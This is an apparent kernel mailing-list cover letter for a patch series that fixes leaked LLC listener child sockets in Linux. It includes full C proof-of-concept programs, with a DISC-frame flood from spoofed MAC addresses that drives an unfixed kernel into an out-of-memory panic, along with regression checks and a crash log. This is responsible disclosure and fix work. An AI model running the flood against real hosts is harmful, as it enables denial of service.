* [PATCH net v13 0/2] llc: fix listener child socket leaks
@ 2026-09-30 13:29 Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 1/2] llc: release unaccepted listener child sockets Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 2/2] llc: create listener children only for SABME Zihan Xi
0 siblings, 2 replies; 3+ messages in thread
From: Zihan Xi @ 2026-09-30 13:29 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni
Cc: zihanx, horms, kees, ernestas.k, leitao, tim.bird,
shuangpeng.kernel, luoxuanqiang, netdev, linux-kernel
Hi Linux kernel maintainers,
We found and validated an issue in net/llc/llc_conn.c and net/llc/af_llc.c.
A DISC command addressed to a matching AF_LLC listener in init_net can
trigger the leak. The attached poc.c opens its AF_LLC listener and
AF_PACKET sender in init_net; the shown commands create both veth
endpoints there. AF_LLC sockets are restricted to init_net. This is a
privileged test: veth setup needs CAP_NET_ADMIN, both sockets need
CAP_NET_RAW, and setting panic_on_oom needs privilege.
After creating a user/network namespace (e.g., with `unshare -Urn`), a
veth-based local sender requires an existing init_net listener and a
host-configured pair. The host keeps the listener-side endpoint in init_net
and moves the peer into the sender namespace (e.g., `ip link set dev <peer>
netns <pid>`). The sender needs CAP_NET_RAW in the user namespace that owns
its network namespace, but no CAP_NET_ADMIN to transmit on a preconfigured
interface. The attached PoC cannot exercise this split: it opens AF_LLC and
AF_PACKET in the same namespace. This split path was not tested
and is not claimed as a validated reproduction.
The series targets LLC listener passive-open and unaccepted-child lifecycle
handling. The normal established-connection data path is unchanged.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
The listener receive path used to allocate and publish a child socket
before checking whether the frame was a passive-open request. Frames that
cannot establish a connection, such as DISC, could therefore leave a child
hashed in the SAP without an accept indication. Repeating those frames with
different source tuples accumulated child sockets and their references.
This series limits listener child creation to SABME, keeps the child and
its resources alive until accept or teardown, and releases the queued
indication when an unaccepted child leaves a data-accepting state. Deferred
listener SABMEs keep their receive device alive until backlog processing.
Stale out-of-service lookup results are rejected before LLC state-machine
dispatch.
The normal established-connection data path is unchanged. Duplicate SABMEs
are still delivered to the matching child.
The resource-leak behavior is present in the unfixed Linux v6.12.74
baseline. The crash log below is from that baseline with panic_on_oom=2; it
records the resulting OOM panic, not a crash from this patch. The
patched v13 kernel was built and all attached checks were run; it reported
no BUG, KASAN, Oops, kernel panic, or OOM.
Reproducer:
gcc -O2 -static -o poc poc.c
ip link add llc_rx0 type veth peer name llc_tx0
ip link set llc_rx0 address 02:11:22:33:44:55
ip link set llc_tx0 address 02:11:22:33:44:66
ip link set llc_rx0 up
ip link set llc_tx0 up
For an unfixed Linux v6.12.74 guest:
echo 2 > /proc/sys/vm/panic_on_oom
./poc llc_rx0 llc_tx0 110000
For patched v13, after the same veth setup, build and run:
gcc -O2 -static -o poc-sabme poc-sabme.c
gcc -O2 -static -o poc-backlog poc-backlog.c
gcc -O2 -static -o poc-queued-disc poc-queued-disc.c
./poc-sabme accept llc_rx0 llc_tx0 1
echo "SABME_ACCEPT_RC=$?"
./poc-sabme close llc_rx0 llc_tx0 16
echo "SABME_CLOSE_RC=$?"
./poc-backlog llc_rx0 llc_tx0 1 10
echo "BACKLOG_RC=$?"
./poc-queued-disc llc_rx0 llc_tx0
echo "QUEUED_DISC_RC=$?"
./poc llc_rx0 llc_tx0 110000
echo "DISC_FLOOD_RC=$?"
The baseline flood is run in a fresh, unfixed Linux v6.12.74 guest. The
patched-kernel run reported:
SABME_ACCEPT_RC=0
sabme_close_before=0 sabme_close_open=17 sabme_close_after=0
SABME_CLOSE_RC=0
listen_backlog=1 sabme_sent=10 llc_sockets_open=3 expected_max=3
llc_sockets_after_close=0
BACKLOG_RC=0
queued_disc_open=2 accept_errno=0 queued_disc_after_close=0
QUEUED_DISC_RC=0
DISC_FLOOD_RC=0
Packetdrill was not used for frame injection. Its built-in packet-event
syntax models TCP, UDP, and ICMP packets over IP; it has no event form for
arbitrary 802.3/802.2 LLC frames. This PoC sets the Ethernet length field,
source/destination MACs and LLC DSAP, SSAP, and control bytes.
It then sends the frame through AF_PACKET. Packetdrill may use AF_PACKET
internally for Linux packet plumbing, but its scripting syntax has no LLC
frame form.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment running Ubuntu
24.04.4 LTS.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [rx_if] [tx_if] [count]\n"
" rx_if: LLC listener interface (default: %s)\n"
" tx_if: raw packet sender interface (default: %s)\n"
" count: number of DISC frames to send, 0 means forever\n",
prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd;
fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = sap;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 16) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int fd;
int one = 1;
int ifindex = get_ifindex(ifname);
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
int main(int argc, char **argv)
{
static unsigned char frame[ETH_ZLEN];
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
struct sockaddr_ll sll;
const char *rx_if = DEFAULT_RX_IF;
const char *tx_if = DEFAULT_TX_IF;
uint64_t count = 0;
uint64_t i = 1;
int listener_fd;
int packet_fd;
int ifindex;
if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
usage(argv[0]);
return 0;
}
if (argc > 1)
rx_if = argv[1];
if (argc > 2)
tx_if = argv[2];
if (argc > 3) {
char *end = NULL;
errno = 0;
count = strtoull(argv[3], &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid count: %s\n", argv[3]);
return EXIT_FAILURE;
}
}
if (argc > 4) {
usage(argv[0]);
return EXIT_FAILURE;
}
listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
memset(frame, 0, sizeof(frame));
memcpy(frame, dst_mac, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
fprintf(stderr,
"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
fprintf(stderr,
"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
dst_mac[0], dst_mac[1], dst_mac[2],
dst_mac[3], dst_mac[4], dst_mac[5]);
fprintf(stderr,
"sending LLC DISC commands with a unique spoofed source MAC each time\n");
while (!count || i <= count) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
if (!(i % DEFAULT_REPORT_EVERY))
fprintf(stderr, "sent=%llu\n",
(unsigned long long)i);
i++;
}
close(packet_fd);
close(listener_fd);
return 0;
}
------END poc.c--------
------BEGIN poc-sabme.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int llc_socket_count(void)
{
FILE *fp = fopen("/proc/net/llc/socket", "r");
char line[256];
int count = 0;
if (!fp)
return -1;
if (!fgets(line, sizeof(line), fp)) {
fclose(fp);
return -1;
}
while (fgets(line, sizeof(line), fp))
count++;
fclose(fp);
return count;
}
static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = sap;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 16) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int one = 1;
int ifindex = get_ifindex(ifname);
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
static void send_sabme(int packet_fd, int ifindex, const unsigned char dst[ETH_ALEN],
const unsigned char src[ETH_ALEN])
{
static unsigned char frame[ETH_ZLEN];
struct sockaddr_ll sll;
memset(frame, 0, sizeof(frame));
memcpy(frame, dst, ETH_ALEN);
memcpy(frame + ETH_ALEN, src, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = SABME_CMD;
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
}
static void usage(const char *prog)
{
fprintf(stderr, "usage: %s accept|close [rx_if] [tx_if] [count]\n", prog);
}
int main(int argc, char **argv)
{
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
const char *mode;
const char *rx_if = DEFAULT_RX_IF;
const char *tx_if = DEFAULT_TX_IF;
uint64_t count = 1;
uint64_t i;
int listener_fd;
int packet_fd;
int ifindex;
int baseline_count;
int before_close;
int after_close;
if (argc < 2) {
usage(argv[0]);
return EXIT_FAILURE;
}
mode = argv[1];
if (argc > 2)
rx_if = argv[2];
if (argc > 3)
tx_if = argv[3];
if (argc > 4) {
char *end = NULL;
errno = 0;
count = strtoull(argv[4], &end, 0);
if (errno || !end || *end != '\0' || !count) {
fprintf(stderr, "invalid count: %s\n", argv[4]);
return EXIT_FAILURE;
}
}
baseline_count = llc_socket_count();
listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
fprintf(stderr, "mode=%s listener_if=%s sender_if=%s count=%llu\n",
mode, rx_if, tx_if, (unsigned long long)count);
if (!strcmp(mode, "accept")) {
int child;
struct sockaddr_llc addr;
socklen_t addrlen = sizeof(addr);
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
fill_src_mac(src_mac, 1);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
send_sabme(packet_fd, ifindex, dst_mac, src_mac);
setsockopt(listener_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
child = accept(listener_fd, (struct sockaddr *)&addr, &addrlen);
if (child < 0)
die_errno("accept(AF_LLC)");
printf("SABME passive open accepted\naccept_rc=0\n");
close(child);
close(packet_fd);
close(listener_fd);
return 0;
}
if (!strcmp(mode, "close")) {
for (i = 1; i <= count; i++) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
send_sabme(packet_fd, ifindex, dst_mac, src_mac);
}
before_close = llc_socket_count();
close(packet_fd);
close(listener_fd);
usleep(200000);
after_close = llc_socket_count();
printf("SABME sent without accept and listener closed\n"
"sabme_close_before=%d sabme_close_open=%d "
"sabme_close_after=%d\n",
baseline_count, before_close, after_close);
if (baseline_count < 0 || after_close != baseline_count) {
fprintf(stderr, "FAIL: leftover sockets after close: %d\n",
after_close);
return EXIT_FAILURE;
}
printf("SABME_CLOSE_RC=0\n");
return 0;
}
usage(argv[0]);
return EXIT_FAILURE;
}
------END poc-sabme.c--------
------BEGIN poc-backlog.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int llc_socket_count(void)
{
FILE *fp = fopen("/proc/net/llc/socket", "r");
char line[256];
int count = 0;
if (!fp)
return -1;
if (!fgets(line, sizeof(line), fp)) {
fclose(fp);
return -1;
}
while (fgets(line, sizeof(line), fp))
count++;
fclose(fp);
return count;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
int main(int argc, char **argv)
{
const char *rx_if = argc > 1 ? argv[1] : "llc_rx0";
const char *tx_if = argc > 2 ? argv[2] : "llc_tx0";
int backlog = argc > 3 ? atoi(argv[3]) : 1;
int nframes = argc > 4 ? atoi(argv[4]) : 10;
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
struct sockaddr_llc addr;
struct sockaddr_ll sll;
static unsigned char frame[ETH_ZLEN];
int listener_fd, packet_fd, ifindex, one = 1, i, after_send, after_close;
int expected_max;
listener_fd = socket(AF_LLC, SOCK_STREAM, 0);
if (listener_fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(rx_if, dst_mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = DEFAULT_SAP;
memcpy(addr.sllc_mac, dst_mac, ETH_ALEN);
if (bind(listener_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(listener_fd, backlog) < 0)
die_errno("listen(AF_LLC)");
ifindex = get_ifindex(tx_if);
packet_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (packet_fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(packet_fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(packet_fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
for (i = 1; i <= nframes; i++) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
memset(frame, 0, sizeof(frame));
memcpy(frame, dst_mac, ETH_ALEN);
memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = SABME_CMD;
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
}
usleep(200000);
after_send = llc_socket_count();
/* TCP-style: sk_acceptq_is_full() is >, so listen(N) can hold N+1. */
expected_max = 1 + backlog + 1;
printf("listen_backlog=%d sabme_sent=%d llc_sockets_open=%d expected_max=%d\n",
backlog, nframes, after_send, expected_max);
if (after_send < 1 || after_send > expected_max) {
fprintf(stderr, "FAIL: open socket count %d not in 1..%d\n",
after_send, expected_max);
return EXIT_FAILURE;
}
close(packet_fd);
close(listener_fd);
usleep(200000);
after_close = llc_socket_count();
printf("llc_sockets_after_close=%d\n", after_close);
if (after_close != 0) {
fprintf(stderr, "FAIL: leftover sockets after close: %d\n",
after_close);
return EXIT_FAILURE;
}
printf("backlog_rc=0\n");
return 0;
}
------END poc-backlog.c--------
------BEGIN poc-queued-disc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f
#define DISC_CMD 0x43
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int make_listener(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = DEFAULT_SAP;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 1) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int one = 1;
int ifindex = get_ifindex(ifname);
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], unsigned char id)
{
mac[0] = 0x02;
mac[1] = 0xaa;
mac[2] = 0xbb;
mac[3] = 0xcc;
mac[4] = 0xdd;
mac[5] = id;
}
static void send_frame(int packet_fd, int ifindex,
const unsigned char dst[ETH_ALEN],
const unsigned char src[ETH_ALEN],
unsigned char ctrl_1, unsigned char ctrl_2)
{
unsigned char frame[ETH_ZLEN];
struct sockaddr_ll sll;
memset(frame, 0, sizeof(frame));
memcpy(frame, dst, ETH_ALEN);
memcpy(frame + ETH_ALEN, src, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = ctrl_1;
frame[ETH_HLEN + 3] = ctrl_2;
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
}
static int llc_socket_count(void)
{
FILE *fp = fopen("/proc/net/llc/socket", "r");
char line[256];
int count = 0;
if (!fp)
return -1;
if (!fgets(line, sizeof(line), fp)) {
fclose(fp);
return -1;
}
while (fgets(line, sizeof(line), fp))
count++;
fclose(fp);
return count;
}
int main(int argc, char **argv)
{
const char *rx_if = argc > 1 ? argv[1] : DEFAULT_RX_IF;
const char *tx_if = argc > 2 ? argv[2] : DEFAULT_TX_IF;
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
unsigned char next_src_mac[ETH_ALEN];
struct sockaddr_llc addr;
struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };
int listener_fd, packet_fd, ifindex, child;
int accept_errno, open_count, after_close;
socklen_t addrlen = sizeof(addr);
listener_fd = make_listener(rx_if, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
fill_src_mac(src_mac, 0xee);
/* Queue an indication, then tear down the unaccepted child remotely. */
send_frame(packet_fd, ifindex, dst_mac, src_mac, SABME_CMD, 0);
usleep(100000);
send_frame(packet_fd, ifindex, dst_mac, src_mac, DISC_CMD, 0);
usleep(100000);
/* This used to drive the queued child from ADM to OUT_OF_SVC. */
send_frame(packet_fd, ifindex, dst_mac, src_mac, 0x00, 0x00);
usleep(200000);
/* A different source must be able to create the next child. */
fill_src_mac(next_src_mac, 0xef);
send_frame(packet_fd, ifindex, dst_mac, next_src_mac, SABME_CMD, 0);
usleep(200000);
open_count = llc_socket_count();
setsockopt(listener_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
child = accept(listener_fd, (struct sockaddr *)&addr, &addrlen);
accept_errno = child < 0 ? errno : 0;
if (child >= 0)
close(child);
close(packet_fd);
close(listener_fd);
usleep(200000);
after_close = llc_socket_count();
printf("queued_disc_open=%d accept_errno=%d queued_disc_after_close=%d\n",
open_count, accept_errno, after_close);
if (open_count != 2 || child < 0 || after_close != 0)
return EXIT_FAILURE;
return 0;
}
------END poc-queued-disc.c--------
----BEGIN crash log----
Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3
[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1665.706676][T10284] Call Trace:
[ 1665.706943][T10284] <TASK>
[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:118 (discriminator 3))
[1665.707568][T10284] panic (kernel/panic.c:611)
